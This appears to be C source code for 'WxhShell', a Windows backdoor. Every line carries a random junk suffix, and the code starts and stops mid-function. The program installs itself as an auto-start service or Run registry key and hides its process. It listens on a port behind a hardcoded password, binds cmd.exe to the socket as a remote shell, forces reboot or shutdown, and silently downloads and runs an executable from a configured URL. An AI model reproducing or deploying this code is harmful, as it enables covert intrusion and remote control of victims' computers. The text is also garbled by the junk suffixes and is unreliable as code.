    if(Boot(SHUTDOWN)) 0{D'n@veP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J ZS:MFA  
    else { vk^xT  
    closesocket(wsh); ?fSG'\h>  
    ExitThread(0); 5t]H?b8  
    } q0vQ a  
    break; Y:[u1~a  
    } >kVz49j  
  // 获取shell $U~]=.n  
  case 's': { ~f98#43  
    CmdShell(wsh); 8l`*]1.W<  
    closesocket(wsh); ON(kt3.h  
    ExitThread(0); ;e*!S}C,  
    break; " H\k`.j  
  } UaeXY+O  
  // 退出 "chDg(jMZ  
  case 'x': { + ePS14G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S,he6zS  
    CloseIt(wsh); b \2 ds,  
    break; 9yP;@y*d  
    }  b>ySv  
  // 离开 L!xi  
  case 'q': { NgPk&niM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gPPkT"  
    closesocket(wsh); &6VnySE?  
    WSACleanup(); -iZ`Y?  
    exit(1); ckCE1e>s  
    break; K}Qa~_  
        } 3JR+O <3D  
  } eaU  
  } f/?P514h  
8quaXVj^a  
  // 提示信息 1 'Dai`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G3T]`Atf  
} xAm6BB c  
  } *vMn$,^0h9  
#RLt^$!H  
  return; JBZ@'8eqi]  
} dWBA1p  
y@yD5$/  
// shell模块句柄 *o ix6  
int CmdShell(SOCKET sock) )4;`^]F  
{ H\[W/"  
STARTUPINFO si; ^iYj[~  
ZeroMemory(&si,sizeof(si)); COlaD"Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MolgwVd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (/] J3  
PROCESS_INFORMATION ProcessInfo; '|=;^Z7.K  
char cmdline[]="cmd"; GC'O[q+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _q^E,P  
  return 0; *VN6cSq  
} xgtR6E^k  
% & bY]w  
// 自身启动模式 *X}`PF   
int StartFromService(void) OZ;*JR:  
{ w4Z'K&d=  
typedef struct poFg 1  
{ T51 `oZ`  
  DWORD ExitStatus; gQ.Sa j $  
  DWORD PebBaseAddress; +"VP-s0  
  DWORD AffinityMask; jc9y<{~x/  
  DWORD BasePriority; v &+R^iLE  
  ULONG UniqueProcessId; |Q>IrT  
  ULONG InheritedFromUniqueProcessId; 0m ? )ROaJ  
}   PROCESS_BASIC_INFORMATION; :M5l*sIO2  
Z/J y'$x  
PROCNTQSIP NtQueryInformationProcess; 3+bt~J0  
[0 e_*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HpnWo DM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A5w6]:f2  
bN@ l?w  
  HANDLE             hProcess; YK~%xo  
  PROCESS_BASIC_INFORMATION pbi; ReeH@.74  
;*&-C9b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7x a>  
  if(NULL == hInst ) return 0; L8 @1THY  
@\I#^X5lv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~u+9J}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X[TR3[1}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G*v,GR  
&jr3B;g!C  
  if (!NtQueryInformationProcess) return 0; 5*D/%]YsD  
b>9>uC@J15  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WMP,\=6k0  
  if(!hProcess) return 0; \D&KC,i5f  
]M'=^32  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N)>ID(}F1  
wH6aAV~1  
  CloseHandle(hProcess); xAP+FWyV  
H 7 ^/q7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z&^&K}  
if(hProcess==NULL) return 0; 3{(/x1 a,4  
P L+sR3bR  
HMODULE hMod; lB[kbJ  
char procName[255]; Nl1D o:PY  
unsigned long cbNeeded; Vs{|xG7W D  
G9vpt M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?P c'C  
pcI uN  
  CloseHandle(hProcess); xi; `ecqS<  
EAby?51+  
if(strstr(procName,"services")) return 1; // 以服务启动 eQvg7aO;  
rk)`\=No  
  return 0; // 注册表启动 dcWD(-  
} xA[mm  
Q.c\/&  
// 主模块 ROZF)|l  
int StartWxhshell(LPSTR lpCmdLine) @!d{bQd,  
{ *G 9V'9  
  SOCKET wsl; ef E.&]  
BOOL val=TRUE; $]2vvr  
  int port=0; :S(ZzY Q  
  struct sockaddr_in door; 5.J.RE"M  
01(AK%e  
  if(wscfg.ws_autoins) Install(); $a ` G  
SOvF[,+  
port=atoi(lpCmdLine); njA#@fU  
L\z~uo3:  
if(port<=0) port=wscfg.ws_port; YkQd  
}f7j 8py  
  WSADATA data; {+Cy U!O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H~z`]5CN  
X+]G-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .Rf_Cl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DrK{}uM  
  door.sin_family = AF_INET; #@nezu2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LvYB7<zk>  
  door.sin_port = htons(port); ?p8_AL'RS  
pIKPXqA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t}tEvh  
closesocket(wsl); `&6dnSC},P  
return 1; K8Y=S12Ti  
} 4)o  
c<$OA=n  
  if(listen(wsl,2) == INVALID_SOCKET) { EI^C{ $Y  
closesocket(wsl); G[q$QB+  
return 1; `%WU8Yv  
} cD'V>[h  
  Wxhshell(wsl); fw{gx  
  WSACleanup(); <dhM\^ [  
c6]D-YNF G  
return 0; hp L;bM'  
ZLAy- 9^Y  
} R@k&SlL'`  
"kgdbAZ  
// 以NT服务方式启动 [QT#Yf0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TBU&6M>{3  
{ ZbAcO/  
DWORD   status = 0; [Hh9a;.*}h  
  DWORD   specificError = 0xfffffff; x0:m-C  
e'b(gD}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W-zP/]Dh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mF^v~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _n>,!vH  
  serviceStatus.dwWin32ExitCode     = 0; 0}q uG^%_  
  serviceStatus.dwServiceSpecificExitCode = 0; aPbE;" f  
  serviceStatus.dwCheckPoint       = 0; Q^txVUL  
  serviceStatus.dwWaitHint       = 0; dL )<% o  
l8#EM1g-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]f9Cx\d:k  
  if (hServiceStatusHandle==0) return; `$ aZ0+  
 zi`o#+  
status = GetLastError(); ]+:^W^bs:  
  if (status!=NO_ERROR) (;^syJrh  
{ J!U}iD@occ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S\!ana])  
    serviceStatus.dwCheckPoint       = 0; !H>R%g#28_  
    serviceStatus.dwWaitHint       = 0; M?uC%x+S$_  
    serviceStatus.dwWin32ExitCode     = status; xAMW-eF?d  
    serviceStatus.dwServiceSpecificExitCode = specificError; r<Kx0`y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _MX>#!l  
    return; .];=Pu^  
  } (n9g kO&8"  
`~CQU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q;>7*Y&  
  serviceStatus.dwCheckPoint       = 0; 161xAig  
  serviceStatus.dwWaitHint       = 0; +pn N!:q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ><HE;cVg?  
} B%+T2=&$7  
/HRFAqep  
// 处理NT服务事件,比如:启动、停止 yhA6i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M%;hB*9  
{ L.0mk_&  
switch(fdwControl) ]G< Vg5  
{ a]tVd#  
case SERVICE_CONTROL_STOP: Px`!A EFd[  
  serviceStatus.dwWin32ExitCode = 0; A`o8'+`C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PGV/ h  
  serviceStatus.dwCheckPoint   = 0; qE3UO<FA  
  serviceStatus.dwWaitHint     = 0; oJ|j#+Ft  
  { SPmq4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eb"5- 0  
  } ZlzjVU/E  
  return; ptxbDzOz  
case SERVICE_CONTROL_PAUSE: JKGe"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jd^,]  
  break; GKc`xIQ  
case SERVICE_CONTROL_CONTINUE: % 0+j?>#X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1gN=-AC  
  break; !LN?PKJ  
case SERVICE_CONTROL_INTERROGATE: s'J:f$flS  
  break; g:Xhw$x9  
}; :\7X}n*&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <.izVD4/Gg  
} *QQzvhk  
uurh??R  
// 标准应用程序主函数 !6>~?gNd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hm'=aff6A  
{ \WB<86+z  
!AfHk|  
// 获取操作系统版本 3r."j2$Hs0  
OsIsNt=GetOsVer(); mah JSz(3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xx9 g''Q  
$#pP Z  
  // 从命令行安装 KRMQtgahc  
  if(strpbrk(lpCmdLine,"iI")) Install(); OCaq3_#tZ  
TOXfWEU3>  
  // 下载执行文件 e)#J1(j_  
if(wscfg.ws_downexe) { c*L\_Vx+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iq( E'`d  
  WinExec(wscfg.ws_filenam,SW_HIDE); EkNunCls  
} NDlF0f  
q ]e`9/U  
if(!OsIsNt) { O% KsD[W;  
// 如果时win9x,隐藏进程并且设置为注册表启动 (~wqa 3  
HideProc(); X1-'COQS%&  
StartWxhshell(lpCmdLine); g+>(dnX  
} W~9tKT4  
else qjdMqoOCjl  
  if(StartFromService()) v~V!ayn)wQ  
  // 以服务方式启动 [)zP6\I  
  StartServiceCtrlDispatcher(DispatchTable); A5R<p+t6  
else xQXXC|T  
  // 普通方式启动 8hJ%JEzga  
  StartWxhshell(lpCmdLine); RA'M8:$  
$jI3VB  
return 0; >$7v ;Q  
} [b>Fn%y  
>A"v ed8  
DiwxXqY  
T)TfB(  
=========================================== 8xV9.4S  
;=; 9tX  
wFsyD3  
L`p4->C9A  
!y:v LB#q  
v>Yb/{A  
" <vh/4  
kJzoFFWo$  
#include <stdio.h> 6qoyiT%P&  
#include <string.h> [] `&vWZ  
#include <windows.h> _'>oXQJ  
#include <winsock2.h> ``Dq  
#include <winsvc.h> s!&#c`=  
#include <urlmon.h> 9c#+qH  
pU%n]]qF  
#pragma comment (lib, "Ws2_32.lib") #W'HR  
#pragma comment (lib, "urlmon.lib") C|). ;V&  
wq(7|!Eix  
#define MAX_USER   100 // 最大客户端连接数 (@<c6WS  
#define BUF_SOCK   200 // sock buffer ]?+p5;{y4  
#define KEY_BUFF   255 // 输入 buffer !K}~/9Z=m  
(ehK?6[  
#define REBOOT     0   // 重启 `W:%mJd9  
#define SHUTDOWN   1   // 关机 ?:8ido#-  
+*T7@1  
#define DEF_PORT   5000 // 监听端口 Avd ^  
)d1_Wm#B  
#define REG_LEN     16   // 注册表键长度 ,PuL{%PXu  
#define SVC_LEN     80   // NT服务名长度 bE#,=OI$  
)ufg9"\  
// 从dll定义API luuX2Mx>o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "2P&X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WEQ1 Seq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +HeTtFo{M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /F-qP.<D,r  
;":zkb{  
// wxhshell配置信息 [los dnH^?  
struct WSCFG { -o[x2u~n\  
  int ws_port;         // 监听端口 =;3Sx::=  
  char ws_passstr[REG_LEN]; // 口令 7/ysVWt  
  int ws_autoins;       // 安装标记, 1=yes 0=no PMh^(j[  
  char ws_regname[REG_LEN]; // 注册表键名 m-*i>4;  
  char ws_svcname[REG_LEN]; // 服务名 ];a=Pn-:}G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l@H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @}OL9Ch  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KJ=6n%6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^xHTWg%9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v'qG26  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Co9QW/'i  
hMUs" <.  
}; GCX G/k?w:  
E4W -hq~  
// default Wxhshell configuration d`nVc50  
struct WSCFG wscfg={DEF_PORT, OjF_ %5  
    "xuhuanlingzhe", Ib\iT:AJ  
    1, 8XzR wYV  
    "Wxhshell", L ugn 3+  
    "Wxhshell", Rhz_t@e  
            "WxhShell Service", W?aI|U1  
    "Wrsky Windows CmdShell Service", RGg(%.  
    "Please Input Your Password: ", n'01Hh`0  
  1, oA7;.:3  
  "http://www.wrsky.com/wxhshell.exe", V7[zAq  
  "Wxhshell.exe" LbG_z =A  
    }; J'fQW<T4wU  
jbu8~\"  
// 消息定义模块 Fpa ;^F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jm0- y%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P%=#^T&`}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4%}*&nsI-Z  
char *msg_ws_ext="\n\rExit."; HA`@7I  
char *msg_ws_end="\n\rQuit."; `V"sOTb  
char *msg_ws_boot="\n\rReboot..."; SWQ5fcPu  
char *msg_ws_poff="\n\rShutdown..."; tqeZ#w7  
char *msg_ws_down="\n\rSave to "; aj}sc/Qa  
VUYmz)m5  
char *msg_ws_err="\n\rErr!"; K]|> Et`  
char *msg_ws_ok="\n\rOK!"; .J.-Mm` .  
;F#7Px(q  
char ExeFile[MAX_PATH]; Xn,v]$M!  
int nUser = 0; Bj}^\Pc;}  
HANDLE handles[MAX_USER]; Jn3 An  
int OsIsNt; T[4<R 5}  
&S]@Ot<z  
SERVICE_STATUS       serviceStatus;  2KN6}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0iK;Egwm  
m-DsY  
// 函数声明 OD 3f.fT  
int Install(void); [],1lRYI9_  
int Uninstall(void); \eb|eN0i  
int DownloadFile(char *sURL, SOCKET wsh); o{EC&-  
int Boot(int flag); t" 7yNs(I  
void HideProc(void); CQr<N w  
int GetOsVer(void); }X_;X_\3;'  
int Wxhshell(SOCKET wsl); T?1Du"d8  
void TalkWithClient(void *cs); pge++Di  
int CmdShell(SOCKET sock); iQ6epg1wB  
int StartFromService(void); V0(o~w/W%!  
int StartWxhshell(LPSTR lpCmdLine); #nO|A\N  
[kzd(u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o/ mF #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); he-Ji  
q4$+H{xB  
// 数据结构和表定义 IU]^&e9u  
SERVICE_TABLE_ENTRY DispatchTable[] = %Lrd6i_j  
{ T<joR R  
{wscfg.ws_svcname, NTServiceMain}, u=NS sTP&  
{NULL, NULL} <{:  
}; fiI $T:g.  
<U9/InN0[  
// 自我安装 g3sUl&K  
int Install(void) #4h+j%y[H  
{ [;oCYb$9  
  char svExeFile[MAX_PATH]; C#=bW'C  
  HKEY key; 7"*|2Xq  
  strcpy(svExeFile,ExeFile); L]hXp t  
tPyyZ#,  
// 如果是win9x系统,修改注册表设为自启动 }Y1>(U  
if(!OsIsNt) { qxJQPz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F'?I-jtI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ixh47M  
  RegCloseKey(key); )g@S%Yu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V' 2EPYB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a>B[5I5  
  RegCloseKey(key); }5O>EXE0R  
  return 0; /Go K}W}  
    } [r OaM$3|  
  } \hP=-J[~C  
} @TA9V@?)  
else { Qc{RaMwD  
UU}7U]9u  
// 如果是NT以上系统,安装为系统服务 ) I@L+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GfyX'(ge  
if (schSCManager!=0) 3Gr&p6  
{ ;}.Kb  
  SC_HANDLE schService = CreateService =j /hl  
  ( ^!;=6}YR  
  schSCManager, 9;r? nZT/  
  wscfg.ws_svcname, lg:y|@Y''  
  wscfg.ws_svcdisp, -lRhz!E]  
  SERVICE_ALL_ACCESS, r7!J&8;{K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a~^Srj!}x  
  SERVICE_AUTO_START, jlKGXD)Q[  
  SERVICE_ERROR_NORMAL, kJ: 2;t=  
  svExeFile, Dd2Lx&9  
  NULL, R+$8w2#  
  NULL, WY)^1Gb$ux  
  NULL, /'>;JF  
  NULL, X#+`e+Df  
  NULL n*qN 29sx  
  ); s5Fr)q// !  
  if (schService!=0) 8tWE=8<  
  { ]u&dJL  
  CloseServiceHandle(schService); G79C {|c\  
  CloseServiceHandle(schSCManager); H$-$2?5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C?Qf F{!7  
  strcat(svExeFile,wscfg.ws_svcname); <~%t$:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cq^sq1A:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S[@6Lp3q_  
  RegCloseKey(key); hBCR]=']  
  return 0; 4IGxI7~27#  
    } y=o=1(  
  } Io+IRK  
  CloseServiceHandle(schSCManager); h1%y:[_  
} FH n,]Tfx  
} o#d$[oa  
Ry%YM,K3  
return 1; L+Nsi~YVq  
} |z7dRDU}]  
6bL"LM`s  
// 自我卸载 F|]rA*2u  
int Uninstall(void) tq E>Zx=X  
{ l Z~+u  
  HKEY key; RUrymkHFB  
5~yb ~0  
if(!OsIsNt) { vXPuyR<J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Bd4 C]E  
  RegDeleteValue(key,wscfg.ws_regname); ],V kp  
  RegCloseKey(key); ty;o&w$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vadM1c*z  
  RegDeleteValue(key,wscfg.ws_regname); bf^ly6ml  
  RegCloseKey(key); L9'-  
  return 0; qi[(*bFK7  
  } 8c?8X=|D7  
} wR1K8b".DC  
} & ^!v*=z  
else { 3&'R1~Vh  
I! ITM<Z$l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .??rqaZ=  
if (schSCManager!=0) fsb=8>}63}  
{ :dbV2'vIQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NFM-)Z57  
  if (schService!=0) B#H2RTc  
  { $:HLRl{2E  
  if(DeleteService(schService)!=0) { j<|6s,&  
  CloseServiceHandle(schService); 8ok7|DJ  
  CloseServiceHandle(schSCManager); Lj-{t% }  
  return 0; ;op'V6iG  
  } 4}PeP^pj  
  CloseServiceHandle(schService); :Q#H(\26r  
  } u p7 x)w:  
  CloseServiceHandle(schSCManager); ees^O{ 8  
} {9,R@>R  
} BfEx'C  
t-a`.y  
return 1; ^K*~ <O-  
} \c'%4Ao  
_fe0,  
// 从指定url下载文件 f>b!-|  
int DownloadFile(char *sURL, SOCKET wsh) 7a27^b  
{ fLc!Sn.Y  
  HRESULT hr; T=O l`?5  
char seps[]= "/"; F F(^:N  
char *token; %j!z\pa  
char *file; ^$ZI>L0+  
char myURL[MAX_PATH]; V=Ww>  
char myFILE[MAX_PATH]; ENpaaW@!Y  
{[rO2<MkA#  
strcpy(myURL,sURL); `=PB2'  
  token=strtok(myURL,seps); 23,%=U  
  while(token!=NULL) ejDCmD  
  { 6Eij>{v  
    file=token; ,OFq'}q  
  token=strtok(NULL,seps); / N*HE  
  } &P{o{  
F?!};~$=Z  
GetCurrentDirectory(MAX_PATH,myFILE); R'jUS7]Y  
strcat(myFILE, "\\"); {EZFx,@t  
strcat(myFILE, file); (0Zrfu^  
  send(wsh,myFILE,strlen(myFILE),0); U`HXsq p}  
send(wsh,"...",3,0); dY48S{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xop-f#U*  
  if(hr==S_OK) JsHxQ0Tw  
return 0; -d\AiT  
else zWP.1 aA&  
return 1; u)N2  
A} x_zt  
} a)YJ4\Qg[  
}D&"z8mP  
// 系统电源模块 mdmZ1:PBM  
int Boot(int flag) g]oc(RM  
{ Fv5x6a  
  HANDLE hToken; q!u lE{ ^  
  TOKEN_PRIVILEGES tkp; ?[a7l:3-[  
~5XL@jI^  
  if(OsIsNt) { UeutFNp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d&$.jk8 2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !HT>  
    tkp.PrivilegeCount = 1; 3N)Ycf8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tk] _QX %  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (mOqv9pn  
if(flag==REBOOT) { sM);gI14  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \ (3Qqbw  
  return 0; ly[\mGr  
} TV$\v@\ =  
else { Wfi:wCqZG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w|K(>5nz  
  return 0; ePPp)=  
} P^uP$D  
  } h>mBkJ {  
  else { 8as$h*W h  
if(flag==REBOOT) { x3p;H02i\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hr$VVbOho  
  return 0; ;c \zgs~"T  
} D!OG307P  
else { +lk\oj$S+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H *z0xxa  
  return 0; KNUMz4  
} gpO_0U4lQ]  
} Rd@n?qB  
)U/@J+{{  
return 1; fjz2m   
} m`1}O"<&i  
r~Is,.zZ}  
// win9x进程隐藏模块 f;_K}23  
void HideProc(void) 1,*Z_ F=y  
{ 1Q2k>q8  
??esB&4?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y[ rB"  
  if ( hKernel != NULL ) b 'Nvx9=W  
  { ki][qvXJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >8Yrmq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jP6oJcZ  
    FreeLibrary(hKernel); VK@i#/jm  
  } =^%Pwkz  
hjm .Ath  
return; (Db*.kd8,  
} VUg~[  
d9Ow 2KrC  
// 获取操作系统版本 qkR,<"C|`  
int GetOsVer(void) 19YJ`(L`x  
{ VgC9'"|  
  OSVERSIONINFO winfo; ;29XvhS8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D+vl%(g  
  GetVersionEx(&winfo); $M8>SLd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^w.(*;/  
  return 1; #mz,HK0|aC  
  else Ws}kb@5  
  return 0; q[,R%6&'  
} f4\p1MYQ  
xa%ktn  
// 客户端句柄模块 {bq-: CZe  
int Wxhshell(SOCKET wsl) j}x O34  
{ e>i8=U` ;  
  SOCKET wsh; {1-CfQ0 8  
  struct sockaddr_in client; =QxE-)v  
  DWORD myID; +h\W~muR  
 kAe-d  
  while(nUser<MAX_USER) I!i#=  
{ `sp'Cl!  
  int nSize=sizeof(client); ,h)T(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %>*0.)wG  
  if(wsh==INVALID_SOCKET) return 1; 6@_@nlA<1  
0g*r!aa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }s)&/~6  
if(handles[nUser]==0) =~2 Uv>YG  
  closesocket(wsh); j/`qd(=B  
else Lq8Z!AIw>  
  nUser++; ] F) -}  
  } NcY0pAR*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q17o5##x7  
W;AWO0+  
  return 0; Q!A3hr$IF  
} 'frL/[S  
p/^\(/\])  
// 关闭 socket 'I01F:`  
void CloseIt(SOCKET wsh) 2 DNzC7}e  
{ HZQ3Ht3Vh  
closesocket(wsh); @ 6VH%  
nUser--; -L'`d  
ExitThread(0); i:N^:%  
} %dWFg<< |  
~9>[U%D  
// 客户端请求句柄 V;+$/>J`vB  
void TalkWithClient(void *cs) GyXs{*  
{ Tk|;5^#H  
.)pRB7O3  
  SOCKET wsh=(SOCKET)cs; %Fm;LQa ]  
  char pwd[SVC_LEN]; 1AEVZ@(j7  
  char cmd[KEY_BUFF]; e.Q K%  
char chr[1]; aKFA&Xnsl  
int i,j; ?%fZvpn-  
87E3pe  
  while (nUser < MAX_USER) {  3usA  
z&J ow/  
if(wscfg.ws_passstr) { ALieUf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YKxA2`3v%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); byxehJ6[V  
  //ZeroMemory(pwd,KEY_BUFF); # yRA. ;  
      i=0; JhXN8Bq33  
  while(i<SVC_LEN) { $m0x8<7nu  
 G#n)|p  
  // 设置超时 &"6ktKrIg  
  fd_set FdRead; >oaEG5%d  
  struct timeval TimeOut; &)}:Y!qiu  
  FD_ZERO(&FdRead); kvVz-P Jy  
  FD_SET(wsh,&FdRead); >(4S `}K  
  TimeOut.tv_sec=8; 6f9<&dCK  
  TimeOut.tv_usec=0; 6@*;Wk~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U;dt-3?=.h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c5+lm}R?  
YhK/pt43C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v?=VZ~`O(  
  pwd=chr[0]; fU7:3"|s8  
  if(chr[0]==0xd || chr[0]==0xa) { KK3xz*W0  
  pwd=0; c'TLD!^hB  
  break; U$J_:~  
  } Im1qWe  
  i++; 9NXiCP9A  
    } .-6s`C2 Y}  
"/h"Xg>q  
  // 如果是非法用户,关闭 socket L"<Eov6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BQ)43Rr>  
} aq| [g  
_ShJ3\,K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6]49kHgMhe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mzR @P$:36  
;//q jo  
while(1) { \-id[zKb  
w:@M|O4`  
  ZeroMemory(cmd,KEY_BUFF); 3YF]o9  
= +\oL!^  
      // 自动支持客户端 telnet标准   #$)rwm.jW?  
  j=0; =qQQ^`^F'~  
  while(j<KEY_BUFF) { 2 ~'quA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R6.#gb8^oS  
  cmd[j]=chr[0]; 4 V*)0?oYE  
  if(chr[0]==0xa || chr[0]==0xd) { -^"?a]B  
  cmd[j]=0;   `.-C6!  
  break; $X]v;B)J|  
  } /YR $#&N2  
  j++; `t2! M\)  
    } x"T^>Q  
[=!MS?-G  
  // 下载文件 0P >dXd)T  
  if(strstr(cmd,"http://")) { TC}u[kM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <a3XV  
  if(DownloadFile(cmd,wsh)) QX|K(`of  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T ua @w+  
  else A+8b] t_k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ry~LhU:  
  } @SXgaWr  
  else { SQx):L)P6  
?K#$81;[  
    switch(cmd[0]) { ;hDr+&J|  
  &[pw LYf7  
  // 帮助 t]XJ q  
